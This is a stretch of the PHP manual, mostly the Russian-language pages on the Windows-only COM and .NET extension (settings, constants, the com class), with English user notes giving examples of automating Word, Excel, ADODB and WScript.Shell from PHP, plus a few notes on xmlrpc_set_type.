$foo = date('c', time());
xmlrpc_set_type($foo, 'datetime');

Please upgrade before reporting as a bug.
shem((at))etkDOTca [aka.Przemyslaw Szot] 30-Oct-2004 02:23
Once you use the xmlrpc_set_type function, the data is encoded into a PHP object.  In your XMLRPC server, in order to access the data you must be able to access the necessary part of the object.

So.. to expend on the example above:

<---------- CLIENT ---------->
$string = "My logging event.";
$date = "20030115T12:22:37"; // Must be this format
$binary = fread($fp, 128);
xmlrpc_set_type(&$date, "datetime");
xmlrpc_set_type(&$binary, "base64");
$xmlrpcReq = xmlrpc_encode_request("log.data", array($string, $date, $binary));

In order to retrieve the binary file data you would need to get the scalar portion of the object:

<---------- SERVER ------------>
$string=$params[0];
$date_obj=$params[1];
$binary_obj=$params[2];

$date=$date_obj->scalar;
$binary_data=$binary_obj->scalar;

// Then you can proceed to write the binary
fwrite($handle,$binary_data);
kelly at seankelly dot biz 28-Dec-2002 07:53
The problem is that PHP has a string type which is also used to hold binary data and dates.  But XML-RPC defines three separate types for strings, binary data, and dates.  How do you tell how you want strings encoded?  That's where this function comes in.

Suppose the XML-RPC method "log.data" took a string, a date, and a binary object.  To tell XML-RPC that the date (which is a PHP string) is a really a date and that the binary data (which is also a PHP string) is really binary data, try:

$string = "My logging event.";
$date = "20030115T12:22:37"; // Must be this format
$binary = fread($fp, 128);
xmlrpc_set_type(&$date, "datetime");
xmlrpc_set_type(&$binary, "base64");
$xmlrpcReq = xmlrpc_encode_request("log.data", array($string, $date, $binary));

Note the reference passing in the calls to xmlrpc_set_type; that enables the function to change the values from strings into what xmlrpc_encode/_request expects (which are objects that include a bonus field that tells the desired XML-RPC type).


Модули только для Windows

  • COM — COM и .Net (Windows)
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Ошибки и их обработка
    • Примеры
    • com — Класс com
    • dotnet — Класс dotnet
    • variant — Класс variant
    • COMPersistHelper — Класс COMPersistHelper
    • com_exception — Класс com_exception
    • com_safearray_proxy — Класс com_safearray_proxy
    • Функции COM
  • win32service
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Win32ServiceException — Класс Win32ServiceException
    • Примеры
    • win32service

User Contributed Notes

There are no user contributed notes for this page.


COM и .Net (Windows)

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Ошибки и их обработка
  • Примеры
    • For Each
    • Массивы и свойства COM в стиле массивов
  • com — Класс com
    • com::__construct — Конструктор класса com
  • dotnet — Класс dotnet
    • dotnet::__construct — Конструктор класса dotnet
  • variant — Класс variant
    • variant::__construct — Конструктор класса variant
  • COMPersistHelper — Класс COMPersistHelper
    • COMPersistHelper::__construct — Конструктор класса COMPersistHelper
    • COMPersistHelper::GetCurFileName — Получить имя файла
    • COMPersistHelper::GetMaxStreamSize — Получить максимальный размер потока
    • COMPersistHelper::InitNew — Инициализирует объект в состояние по умолчанию
    • COMPersistHelper::LoadFromFile — Загрузить объект из файла
    • COMPersistHelper::LoadFromStream — Загружает объект из потока
    • COMPersistHelper::SaveToFile — Сохранить объект в файл
    • COMPersistHelper::SaveToStream — Сохраняет объект в потоке
  • com_exception — Класс com_exception
  • com_safearray_proxy — Класс com_safearray_proxy
  • Функции COM
    • com_create_guid — Создание уникального глобального идентификатора (GUID)
    • com_event_sink — Связать сообщения объекта COM с объектом PHP
    • com_get_active_object — Вернуть дескриптор на уже запущенный экземпляр объекта COM
    • com_load_typelib — Загрузка Typelib
    • com_message_pump — Обработка сообщений COM, пришедших не позднее timeoutms миллисекунд после её запуска
    • com_print_typeinfo — Печатает определение класса PHP для интерфейса, наследующего IDispatch
    • variant_abs — Получить абсолютное значение варианта
    • variant_add — Сложить значения двух вариантов
    • variant_and — Побитовое И над двумя вариантами
    • variant_cast — Преобразовывает вариант в новый вариант другого типа
    • variant_cat — Объединение (конкатенация) значений двух вариантов
    • variant_cmp — Сравнить два варианта
    • variant_date_from_timestamp — Получает представление даты для варианта из метки времени Unix
    • variant_date_to_timestamp — Преобразовывает вариант типа дата/время во временную метку Unix
    • variant_div — Получить результат деления двух вариантов
    • variant_eqv — Побитовая эквиваленция двух вариантов
    • variant_fix — Вернуть целую часть варианта
    • variant_get_type — Получить тип варианта
    • variant_idiv — Делит преобразованные в целые числа варианты
    • variant_imp — Побитовая импликация над двумя вариантами
    • variant_int — Вернуть целочисленную часть варианта
    • variant_mod — Остаток от деления двух вариантов
    • variant_mul — Умножает значения двух вариантов
    • variant_neg — Логическое отрицание над вариантом
    • variant_not — Выполняет побитовое отрицание над вариантом
    • variant_or — Побитовое ИЛИ над двумя вариантами
    • variant_pow — Возводит один вариант в степень, заданную во втором
    • variant_round — Округляет вариант с заданной точностью
    • variant_set_type — Приводит вариант к другому типу «по месту»
    • variant_set — Присвоение нового значения объекту варианта
    • variant_sub — Вычитает значение правого варианта из левого
    • variant_xor — Исключающее ИЛИ над двумя вариантами

User Contributed Notes

robert dot johnson at icap dot com 24-Jul-2012 09:30
(From?) PHP 5.4.5 for Windows:

If you are seeing this in your error log:

Fatal error:  Class 'COM' not found

You require this in php.ini:

[PHP_COM_DOTNET]
extension=php_com_dotnet.dll

Previously it was compiled as built-in on the Windows build.  I assume this has happened because the com extension can now be built as a shared component.
Anonymous 23-Sep-2009 05:00
Add hyperlink at a Word Document's bookmark

<?php
// Create COM instance to word
       function clsMSWord($Visible = false)
       {
           $this->handle = new COM("word.application") or die("Unable to instanciate Word");
           $this->handle->Visible = $Visible;
       }

function WriteHyperlink($Bookmark,$Path,$Text)
       {
               $objBookmark = $this->handle->ActiveDocument->Bookmarks($Bookmark);
               $range = $objBookmark->Range;
               $objHyperlink = $this->handle->ActiveDocument->Hyperlinks;
               $objHyperlink->add($range,$Path,"","",$Text);

       }
?>
Dave Bachtel 27-May-2009 02:20
Hello everybody!

Here is some helpful advice for people attempting to use COM with Microsoft MapPoint 2006 or 2009 with PHP.

If you are using apache, it MUST be running under the same credentials as a desktop user that has already installed/run mappoint or modifiy the service and select the "Allow Service to Interact with Desktop" option.  Otherwise, it won't work due to the EULA popup having to be accepted.  Mappoint 2004 works just fine, this only applies to 2006 and 2009.

For troubleshooting, the error that appears in the System event viewer is:
The server {31851F82-AFE6-11D2-A3C9-00C04F72F340} did not register with DCOM within the required timeout.

The error generated by PHP, if you happen to get lucky and let the COM() function timeout by cranking up set_time_limit() timeout is:
<?php

set_time_limit(1000) ;

$mapoint =  new COM("MapPoint.Application") or die("Unable to instantiate Mappoint COM object");

?>
Generates:
Fatal error: Uncaught exception 'com_exception' with message 'Failed to create COM object `MapPoint.Application': Server execution failed ' in [somefile.php]:9 Stack trace: #0 [somefile.php](9): com->com('MapPoint.Applic...') #1 {main} thrown in [somefile.php] on line 9

Also, if you have multiple versions of MapPoint installed, you will need to run:
c:\path\to\mappoint\MapPoint.exe /registerserver

(using the correct folder path) to select the right version of the com object to use.  Gooood luck!
acsandeep at gmail dot com 04-Apr-2009 09:40
If you are trying to get the properties of a Word document opened via COM object, you may need to define some constants in your script like so.

<?php
define('wdPropertyTitle', 1);
define('wdPropertySubject', 2);
define('wdPropertyAuthor', 3);
define('wdPropertyKeywords', 4);
define('wdPropertyComments', 5);
define('wdPropertyTemplate', 6);
define('wdPropertyLastAuthor', 7);

$word = new COM("word.application") or die ("Could not initialise MS Word object.");
$word->Documents->Open(realpath("Sample.doc"));
$Author = $word->ActiveDocument->BuiltInDocumentProperties(wdPropertyAuthor);

echo $Author;
?>
long2hu3 ATT yahoo DOTT com 18-Mar-2009 04:38
When you work with MS Excel, Word, ... and other applications, never forget that COM doesn't know their predefined constants, thus if you want to do sth. that would look like this in VB:

With myRange.Borders(xlEdgeBottom)
    .LineStyle = xlContinuous
    .Weight = xlThin
    .ColorIndex = xlAutomatic
End With

you should either use numbers or define constants above, like this:

<?php

define('xlEdgeBottom', 9);
define('xlContinuous', 1);
define('xlThin', 2);
define('xlAutomatic', -4105);

$ex = new COM("Excel.Application", NULL, CP_UTF8) or Die ("Did not instantiate Excel");
$wb = $ex->Application->Workbooks->Add();
$ws = $wb->Worksheets(1);

$xra = $ws->Range("A1:A6");

$bs = $xra->Borders(xlEdgeBottom);
$bs->LineStyle = xlContinuous;
$bs->Weight = xlThin;
$bs->ColorIndex = xlAutomatic;

?>

It is pointless to try to use text strings, i.e.

<?php

$bs = $xra->Borders('xlEdgeBottom');
$bs->Weight = 'xlThin';

?>

this will cause an error: Unable to set property Weight of class Border ...
ilayansmano at gmail dot com 26-Aug-2008 01:39
Extracting text from Word Documents via PHP and COM

<?php
$word = new COM("word.application") or die ("Could not initialise MS Word object.");
$word->Documents->Open(realpath("Sample.doc"));

// Extract content.
$content = (string) $word->ActiveDocument->Content;

echo $content;

$word->ActiveDocument->Close(false);

$word->Quit();
$word = null;
unset($word);
?>


Введение

COM (акроним от Component Object Model) — это объектно-ориентированный слой (и связанные с ним сервисы), базирующийся на DCE RPC (открытый стандарт), который определяет общие соглашения, позволяющие коду, написанному на любом языке вызывать и взаимодействовать с кодом, написанным на любом другом языке (при условии, что эти языки являются COM-ориентированными). Не только код может быть написан на любом языке, но даже нет необходимости, чтобы он был частью одного и того же исполняемого файла: код может быть загружен из библиотеки DLL, может быть найден в другом процессе на одном и том же компьютере или, с помощью DCOM (Distributed COM), может быть найден в другом процессе на удалённой машине, и все это без необходимости вашему коду знать где находится компонент.

Подмножество COM, известное как OLE Automation, включает набор COM-интерфейсов, которые позволяют осуществлять лёгкое связывание COM-объектов, также любой объект можно проанализировать и вызывать во время работы без знания о деталях его работы на этапе компиляции. PHP-модуль COM использует интерфейсы OLE Automation, позволяющие вам создавать и вызывать совместимые объекты из ваших скриптов. Говоря техническим языком, это следовало бы назвать «Модуль OLE Automation для PHP», так как не все COM-объекты являются OLE-совместимыми.

Теперь, почему вам следует использовать COM? COM — один из основных способов склеить вместе приложения и компоненты на платформе Windows. Используя COM, вы можете запустить Microsoft Word, заполнить шаблон документа и сохранить результаты как документ Word, и затем отправить посетителю вашего веб-сайта. Вы также можете использовать COM для выполнения задач администрирования для вашей сети и конфигурирования вашего IIS-сервера. Это только обычные применения, с COM вы сможете больше.

Дополнительно модуль поддерживает создание экземпляра класса и создание .NET-сборок, используя слой взаимодействия с COM, предоставляемый Microsoft.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Функции COM доступны только в PHP под Windows.

Для поддержки .Net требуется библиотеки времени исполнения .Net.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для работы модуля требуется включение php_com_dotnet.dll в php.ini.

Поддержку для различных вариантов объектов COM (например, MS Word) необходимо устанавливать самостоятельно. Мы не можем и не будем включать все эти модули в PHP.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции конфигурации Com
Имя | По умолчанию | Место изменения | Список изменений
com.allow_dcom | "0" | INI_SYSTEM |
com.autoregister_typelib | "0" | INI_ALL |
com.autoregister_verbose | "0" | INI_ALL |
com.autoregister_casesensitive | "1" | INI_ALL |
com.code_page | "" | INI_ALL |
com.dotnet_version | "" | INI_SYSTEM | Начиная с PHP 8.0.0
com.typelib_file | "" | INI_SYSTEM |
Дополнительная информация и описания режимов INI_* даны в разделе «Места установки параметров конфигурации».

Краткое разъяснение конфигурационных директив.

com.allow_dcom

Если включено, PHP будет разрешено работать в качестве клиента D-COM (Распределённый COM), что позволит скрипту PHP инстанциировать объекты COM на удалённом сервере.

com.autoregister_typelib

Если включено, PHP попробует зарегистрировать константы библиотеки типов создаваемых объектов COM, если эти объекты реализуют интерфейс, требуемый для получения данной информации. Регистрозависимость регистрируемых констант контролируется директивой конфигурации php.ini com.autoregister_casesensitive.

com.autoregister_verbose

Если включено, о любых проблемах с загрузкой библиотеки типов в процессе создания экземпляра объекта будет сообщено с помощью механизма ошибок PHP. По умолчанию выключено, что означает, что никаких сообщений об ошибках при загрузке библиотеки типов сообщаться не будет.

com.autoregister_casesensitive

Если включено (по умолчанию), константы, обнаруженные при автозагрузке библиотек типов, при инстанцировании объектов COM, будут зарегистрированы как регистрозависимые. Более подробно смотрите в описании функции com_load_typelib().

com.code_page

Контролирует кодировку по умолчанию при передаче строк объектам COM. Если задана пустая строка, PHP будет считать, что вы хотите использовать CP_ACP - системная кодировка ANSI по умолчанию.

Если текст в вашем скрипте содержится в кодировке отличной от кодировки по умолчанию, то установка этого параметра позволит вам не указывать кодировку каждый раз при создании объекта класса com в его конструкторе. Пожалуйста помните, что использование этой директивы (как и любой другой директивы конфигурации) делает ваш скрипт менее переносимым, так что всё же рекомендуется указывать кодировку при каждом создании объекта COM.

com.dotnet_version

Версия платформы .NET для использования с объектами dotnet. Значение параметра - это первые три части номера версии фреймворка, разделённые точками и с префиксом v, например v4.0.30319.

com.typelib_file

Значение должно соответствовать пути в файловой системе до файла, содержащего список библиотек типов, которые необходимо загрузить при запуске. Каждая строка файла будет рассматриваться как имя библиотеки типов, которая будет загружена как только вы вызовите функцию com_load_typelib(). Константы будут зарегистрированы на постоянной основе, так что библиотеки нужно загружать всего один раз. Если имя библиотеки типов заканчивается на строку #cis или #case_insensitive, то константы будут зарегистрированы как регистронезависимые.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

Константы COM
Константа | Описание | Замечания
CLSCTX_INPROC_SERVER (int) | Код, который создаёт и управляет объектами этого класса, — это DLL-библиотека, запущенная в том же процессе, который вызывает функцию, указанную в контексте класса. |
CLSCTX_INPROC_HANDLER (int) | Код, который создаёт и управляет объектами этого класса, — это обработчик внутри процесса. Это DLL-библиотека, запускаемая в процессе клиента и реализующая структуру этого класса на стороне клиента, когда экземпляр класса используют удалённо. |
CLSCTX_LOCAL_SERVER (int) | Код EXE, который создаёт и управляет объектами этого класса, работает на той же машине, но в рамках отдельного процесса. |
CLSCTX_REMOTE_SERVER (int) | Внешний контекст. Код, создающий и управляющий объектами этого класса, работает на другом компьютере. |
CLSCTX_SERVER (int) | Указывает код сервера, внутрипроцессный, локальный или удалённый. Задаётся побитовым ИЛИ констант CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER и CLSCTX_REMOTE_SERVER. |
CLSCTX_ALL (int) | Обозначает весь контекст класса. Задаётся побитовым ИЛИ констант CLSCTX_INPROC_HANDLER и CLSCTX_SERVER. |
VT_NULL (int) | Ссылка на указатель NULL. |
VT_EMPTY (int) | Свойство с индикатором типа из VT_EMPTY без ассоциированных с ним данных. Размер этого значения равен нулю. |
VT_INT (int) | Знаковое целое число размером 4 байта. (аналогично VT_I4). |
VT_I1 (int) | Знаковое целое число размером 1 байт. |
VT_I2 (int) | Знаковое целое число размером 2 байта. |
VT_I4 (int) | Знаковое целое число размером 4 байта. |
VT_I8 (int) | Знаковое целое число размером 8 байтов. | только для x64
VT_UINT (int) | Беззнаковое целое число размером 4 байта (эквивалент константы VT_UI4). |
VT_UI1 (int) | Беззнаковое целое число размером 1 байт. |
VT_UI2 (int) | Беззнаковое целое число размером 2 байта. |
VT_UI4 (int) | Беззнаковое целое число размером 4 байта. |
VT_UI8 (int) | Знаковое целое число размером 8 байтов. | только для x64
VT_R4 (int) | Значение IEEE с плавающей точкой размером 32 бита. |
VT_R8 (int) | Значение IEEE с плавающей точкой размером 64 бита. |
VT_BOOL (int) | Логическое значение. |
VT_ERROR (int) | Код ошибки; содержит код статуса, ассоциированный с ошибкой. |
VT_CY (int) | Дополненное до двух целое число размером 8 байтов (масштабируется к 10 000). |
VT_DATE (int) | Значение с плавающей точкой размером 64 бита, представляющее количество дней (не секунд) с 31 декабря 1899. Например, 1 января 1900 равно 2.0, 2 января 1900 равно 3.0, и т. д. Хранится таким же образом, что и VT_R8. |
VT_BSTR (int) | Указатель на строку Unicode, заканчивающуюся null-байтом. |
VT_DECIMAL (int) | Десятичная структура. |
VT_UNKNOWN (int) | Указатель на объект, реализующий интерфейс IUnknown. |
VT_DISPATCH (int) | Указатель на указатель на заданный объект. |
VT_VARIANT (int) | Индикатор типа с последующим, соответствующим, значением. Константу VT_VARIANT можно указывать только вместе с константой VT_BYREF. |
VT_ARRAY (int) | Если индикатор типа комбинирован с константой VT_ARRAY через побитовое ИЛИ, то значение — указатель на константу SAFEARRAY. Константу VT_ARRAY можно комбинировать побитовым ИЛИ со следующими типами: VT_I1, VT_UI1, VT_I2, VT_UI2, VT_I4, VT_UI4, VT_INT, VT_UINT, VT_R4, VT_R8, VT_BOOL, VT_DECIMAL, VT_ERROR, VT_CY, VT_DATE, VT_BSTR, VT_DISPATCH, VT_UNKNOWN и VT_VARIANT. |
VT_BYREF (int) | Если индикатор типа комбинирован с константой VT_BYREF через побитовое ИЛИ, значит, значение — ссылка. Тип «ссылка» интерпретируется как ссылка на данные, аналогично ссылкам C++. |
CP_ACP (int) | Кодировка ANSI по умолчанию. |
CP_MACCP (int) | Кодировка Macintosh. |
CP_OEMCP (int) | Кодировка OEM по умолчанию. |
CP_UTF7 (int) | Unicode (UTF-7). |
CP_UTF8 (int) | Unicode (UTF-8). |
CP_SYMBOL (int) | Смещения SYMBOL. |
CP_THREAD_ACP (int) | Кодировка ANSI текущего потока исполнения. |
VARCMP_LT (int) | Левый bstr меньше правого bstr. |
VARCMP_EQ (int) | Два параметра эквивалентны. |
VARCMP_GT (int) | Левый bstr больше правого bstr. |
VARCMP_NULL (int) | Выражение равно NULL. |
NORM_IGNORECASE (int) | Игнорировать регистрозависимость. |
NORM_IGNORENONSPACE (int) | Игнорировать символы не занимающие места. |
NORM_IGNORESYMBOLS (int) | Игнорировать символы. |
NORM_IGNOREWIDTH (int) | Игнорировать длину строки. |
NORM_IGNOREKANATYPE (int) | Игнорировать тип Kana. |
NORM_IGNOREKASHIDA (int) | Игнорировать символы Arabic kashida. | Доступность зависит от используемой библиотеки.
DISP_E_DIVBYZERO (int) | Ответ означающий попытку деления на ноль. |
DISP_E_OVERFLOW (int) | Ошибка означающая, что значение не может быть приведено к ожидаемому типу. |
DISP_E_BADINDEX (int) | Ошибка, означающая, что индекс массива не существует. |
DISP_E_PARAMNOTFOUND (int) | Возвращаемое значение, которое указывает, что один из идентификаторов параметра не соответствует параметру не соответствует параметру метода. |
MK_E_UNAVAILABLE (int) | Код статуса iMoniker COM, возвращается в случае возникновения ошибки когда функция не может быть вызвана, поскольку недоступна. |
LOCALE_NEUTRAL (int) | Нейтральный регион. Эту константу обычно не указывают при вызове функций API поддержки национальных языков (NLS). Вместо нее указывают константу LOCALE_SYSTEM_DEFAULT. |
LOCALE_SYSTEM_DEFAULT (int) | Языковой стандарт операционной системы по умолчанию. |

User Contributed Notes

There are no user contributed notes for this page.


Ошибки и их обработка

Модуль выбрасывает исключения класса com_exception в случае потенциальной фатальной ошибки возвращённой COM. Исключения COM имеют чётко определённое свойство code, соответствующее возвращённому из различных операций COM значению HRESULT. На основании этого кода вы можете построить логику обработки данных ошибок.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • For Each
  • Массивы и свойства COM в стиле массивов

User Contributed Notes

There are no user contributed notes for this page.


For Each

Вы можете использовать конструкцию foreach для итерации контента стандартного COM/OLE IEnumVariant. Другими словами, это означает, что вы можете использовать foreach там, где вы использовали For Each в коде VB/ASP.

Пример #1 For Each в ASP

<%
Set domainObject = GetObject("WinNT://Domain")
For Each obj in domainObject
  Response.Write obj.Name & "<br />"
Next
%>

Пример #2 foreach в PHP

<?php
$domainObject = new COM("WinNT://Domain");
foreach ($domainObject as $obj) {
echo $obj->Name . "<br />";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Массивы и свойства COM в стиле массивов

Многие свойства объектов COM представляют свои свойства как массивы, либо просто с использованием синтаксиса доступа как к массивам.

Вам доступно:

  • Доступ к многомерным массивам или свойствам COM, используя синтаксис доступа к массивам. Также вы можете записывать и создавать свойства таким же образом.

  • Итерация SafeArray ("настоящие" массивы), используя foreach. Это работает, поскольку SafeArrays включает в себя информацию о своём размере. Если свойство реализует IEnumVariant, то вы также можете использовать для него foreach. Более подробно читайте в разделе For Each.

User Contributed Notes

There are no user contributed notes for this page.


Класс com

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

Введение

Класс com позволяет создавать экземпляры OLE-совместимого COM-объекта, вызывать его методы и получать доступ к его свойствам.

Обзор классов

class com extends variant {
/* Методы */
public __construct(
string $module_name,
array|string|null $server_name = null,
int $codepage = CP_ACP,
string $typelib = ""
)
}

Перегруженные методы

Возвращаемые объекты являются перегруженными, то есть PHP не видит каких-либо фиксированных методов, как это происходит с обычными классами. Вместо этого свойства и доступ к методам передаётся через COM.

PHP автоматически определяет методы, которые обращаются к свойствам по ссылкам и автоматически преобразуют стандартные переменные PHP в вид, который можно передавать по ссылке. Это означает, что вы можете вызывать методы не внося каких-либо дополнений в свой код.

Примеры использования com

Пример #1 Первый пример

<?php
// запускаем word
$word = new com("word.application") or die("Невозможно создать экземпляр Word");
echo "Загружен Word, версия {$word->Version}\n";

//делаем его активным окном
$word->Visible = 1;

//открываем пустой документ
$word->Documents->Add();

//Что то с ним делаем
$word->Selection->TypeText("Это проверка...");
$word->Documents[1]->SaveAs("Бесполезный тест.doc");

//закрываем word
$word->Quit();

//высвобождаем ресурсы объекта
$word = null;
?>

Пример #2 Второй пример

<?php

$conn = new com("ADODB.Connection") or die("Cannot start ADO");
$conn->Open("Provider=SQLOLEDB; Data Source=localhost;
Initial Catalog=database; User ID=user; Password=password");

$rs = $conn->Execute("SELECT * FROM sometable"); // Набор записей

$num_columns = $rs->Fields->Count();
echo $num_columns . "\n";

for ($i=0; $i < $num_columns; $i++) {
$fld[$i] = $rs->Fields($i);
}

$rowcount = 0;
while (!$rs->EOF) {
for ($i=0; $i < $num_columns; $i++) {
echo $fld[$i]->value . "\t";
}
echo "\n";
$rowcount++; // увеличиваем счётчик строк
$rs->MoveNext();
}

$rs->Close();
$conn->Close();

$rs = null;
$conn = null;

?>

Содержание

  • com::__construct — Конструктор класса com

User Contributed Notes

info at ensostudio dot ru 26-Jul-2020 09:52
Complete example of using WScript.Shell:
<?php
/**
  * Methods & properties
  * @link https://msdn.microsoft.com/en-us/library/2f38xsxe(v=vs.84).aspx
  */
$shell = new com('WScript.Shell', null, CP_UTF8);
var_dump($shell->CurrentDirectory);
foreach ($shell->Environment as $value) {
    var_dump($value);
}
// check file 'Test.php'
$process = $shell->Exec('.../php.exe --syntax-check --file=".../src/Test.php"');
// wait complete: 1 - done
while (! $process->Status) {
    usleep(5000);
}
// results: -1 - syntax error, 0 - no error
var_dump($process->ExitCode);
// show responce
var_dump($process->StdOut->ReadAll());
// show errors
var_dump($process->StdErr->ReadAll());
?>
Danil_lll 14-Aug-2018 10:14
Hello. There is a code c# which works with the COM-library (written on C++) - hybrid.dll.
I need to rewrite this code from C# to PHP (that is connect the COM-library to the PHP code)

Here is the function that is called inside C#:
Gr = HybridLib.Hybrid_Color.GREEN;

And here is the list of "Hybrid_Color"which in the library:
enum Hybrid_Color
{
    GREEN = 0x00000001,
    BLACK = 0x00000002,
    BLUE = 0x00000004,
};

The library itself was launched in PHP:
$PHP_Lib = new COM("HybridLib.Hybrid");

Can not assign value:
$gr = $PHP_Lib -> ..... ?????

What I write next, I don't know...
Tell me, please, who knows...
IceNV 13-Dec-2016 02:17
Under PHP7(.x) 64-bit, there is a documentation error (on the MSDN side, already reported) causing problems if you try to manipulate the registry (StdRegProv) through COM.

Indeed, MSDN reports that the registry hive/root must be reported as a uint32, which means that, in PHP 64-bit, one would create a new Variant($root,VT_UI4).

This would throw a type mismatch error.
It seems internally and contrary to what MSDN says (as of now, 2016-12-13), the root parameter must actually be passed as an int32.

So you have to :
1. convert your root number to a negative int to avoid out-of-bounds exceptions when creating the variant below (basically the integer being >= 2^31, you have to wrap it around the 32-bit signed integer maximum yourself) ;
2. create a new Variant($root,VT_I4) ;
3. pass that Variant to your COM API call.

This did not happen before PHP 7.0 as it always used VT_I4 internally before (see https://bugs.php.net/bug.php?id=73605), but now it respects (and is right to do so) the real integer length, so without an explicit conversion, PHP7 would now output a VT_I8 on x64, versus VT_I4 for PHP5.
juan156_elias at gmail dot com 08-Nov-2015 03:22
This is an example of using .Net using the NetPhp library that is based on the COM/DOTNET classes.

You can use any .dll file,  wether it is or not COM decorated and any of the .Net framework types out of the box. You can also target any version of the .Net framework.

<?php

$runtime = new \NetPhp\Core\NetPhpRuntime('COM', 'netutilities.NetPhpRuntime');

// Add both SpreadsheetLight and the OpenXML it depends on.
$runtime->RegisterAssemblyFromFile('/binaries/SpreadsheetLight.dll', 'SpreadsheetLight');
$runtime->RegisterAssemblyFromFile('/binaries/DocumentFormat.OpenXml.dll', 'DocumentFormat.OpenXml');
$runtime->RegisterAssemblyFromFile('/binaries/AjaxMin.dll', 'AjaxMin');

// Using the FullName of a type that belongs to an assembly that has already been registered.
$datetime = $runtime->TypeFromName("System.DateTime");

// Using the FullName of a type that has not been registered yet (from a file)
$minifier = $runtime->TypeFromFile("Microsoft.Ajax.Utilities.Minifier", APPLICATION_ROOT . '/binaries/AjaxMin.dll');

// Using the FullName of a type that has not been registered yet (autodiscoverable)
$datetime2 = $runtime->TypeFromAssembly("System.DateTime", "mscorlib, ....");

$datetime->Instantiate();
echo $datetime->ToShortDateString()->Val(); // Outputs 01/01/0001

// We can only use Int32 from native PHP, so parse
// an Int64 that is equivalent to (long) in the DateTime constructor.
$ticks = $runtime->TypeFromName("System.Int64")->Parse('98566569856565656');

$datetime->Instantiate($ticks);
echo $datetime->ToShortDateString()->Val(); // Outputs 07/05/0313

// We can only use Int32 from native PHP, so parse
// an Int64 that is equivalent to (long) in the DateTime constructor.
$ticks = $runtime->TypeFromName("System.Int64")->Parse('98566569856565656');

// Dump a .Net System.Timers.Timer object!
$data = $timer->GetPhpFromJson();

var_dump($data);

    // Outputs:
    //  object(stdClass)[38]
    //     public 'AutoReset' => boolean true
    //     public 'Enabled' => boolean false
    //     public 'Interval' => int 100
    //     public 'Site' => null
    //     public 'SynchronizingObject' => null
    //     public 'Container' => null

// Check if today is monday
$IsMonday = $runtime->TypeFromName("System.DateTime")->Now->DayOfWeek->
Equals($runtime->TypeFromName("System.DayOfWeek")->Enum('Monday'));

?>
Eion Robb 12-Feb-2014 09:59
All the examples here show
<?php $var = new COM('Whatever.Something') or die(); ?>
however the 'or die()' bit is redundant as a fatal 'com_exception' exception will be thrown, killing your script.  If you want to handle the 'or' condition you need to catch the exception, eg
<?php
try {
$var = new COM('Whatever.Something');
} catch (com_exception $e) {
 //couldn't load, do something else like register
exec('regsvr32 /s whatever.dll');
}
?>
rogier 28-Oct-2011 10:09
Took me a while to figure this out by trial and error:

If your frustrated when getting a com-exception like "Error [0x80004002] ..." (with a message nagging you about an unsupported interface), and you're calling a class method through COM that expects a char as an argument, you should NOT call the method with a single-character string.

The correct way of calling a method like this is to use a VARIANT with a type of VT_UI1.

COM enabled method definition:

public bool DoSomething(char arg);

<?php

$com = new COM('Some.Class.Name');

// This will fail
$var = 'a';
$com->DoSomething($var);

// This works correctly
$var = new VARIANT(ord('a'), VT_UI1);
$com->DoSomething($var);

?>

I hope this helps some people
sparrowstail at googlemail dot com 12-Nov-2010 11:35
This script reports all Windows drives, drive type, status (if not available), free space and total drive size:

<?php

    $fso = new COM('Scripting.FileSystemObject');
    $D = $fso->Drives;
    $type = array("Unknown","Removable","Fixed","Network","CD-ROM","RAM Disk");
    foreach($D as $d ){
       $dO = $fso->GetDrive($d);
       $s = "";
       if($dO->DriveType == 3){
           $n = $dO->Sharename;
       }else if($dO->IsReady){
           $n = $dO->VolumeName;
           $s = file_size($dO->FreeSpace) . " free of: " . file_size($dO->TotalSize);
       }else{
           $n = "[Drive not ready]";
       }
   echo "Drive " . $dO->DriveLetter . ": - " . $type[$dO->DriveType] . " - " . $n . " - " . $s . "<br>";

    }

      function file_size($size)
      {
      $filesizename = array(" Bytes", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB");
      return $size ? round($size/pow(1024, ($i = floor(log($size, 1024)))), 2) . $filesizename[$i] : '0 Bytes';
      }

?>

There are a number of other properties of the drive object which can be called this way - see:

http://msdn.microsoft.com/en-us/library/ts2t8ybh%28VS.85%29.aspx
z3n at overflow dot biz 24-Sep-2009 08:35
On a query reply using ADODB.Connection object, all my $rs->Fields['field_name']->Value returned `variable Object` when inserted into a array, like this:

<?php
for ($rl[$v]=array(),_qm($_query);!$res->EOF;$res->MoveNext()) {
    $rl[$v][]=$res->Fields['x']->Value;
}
?>

I figured out that converting the value into a INT fixed the issue:

<?php $rl[$v][]=intval($res->Fields['x']->Value); ?>
pavanphp Gudipati 17-Jun-2009 06:49
Here I Am describing a Program from which you can connect any exe(software) using COM component.
pdf2swf is a software for converting PDf to SWF files.

This is best example for  WScript.Shell

<?php
#code for pdf to swf using pdf2swf software
#this codeworks in windows environment.

## Important Parameters
$software_path  ="C:\\SWFTools\\pdf2swf" ;
$pdf_path       ="C:\\SWFTools\\abcd.pdf" ;
$argument       = "-o";
$swf_output     ="C:\\SWFTools\\abcd.swf" ;

#actual code
$cmd        =" $software_path $pdf_path  $argument $swf_output";

$WshShell   = new COM("WScript.Shell");
$oExec      = $WshShell->Run("cmd /C $cmd ", 0, true);

# 0 for command prompt invisible mode
# 3 for visible

?>
tsintra at humansoft dot pt 11-May-2009 08:18
After one week of trying to understand what was wrong with my PHP communication with MS Word, i finally got it working...
It seems that if you're running IIS, the COM object are invoked with restricted privileges.
If you're having permission problems like not being able to opening or saving a document and you're getting errors like:

 - This command is not available because no document is open
or
 - Command failed

try this (if you're running IIS):

- Execute "dcomcnfg"
- Open Component Services > Computers > My Computer > DCOM Config
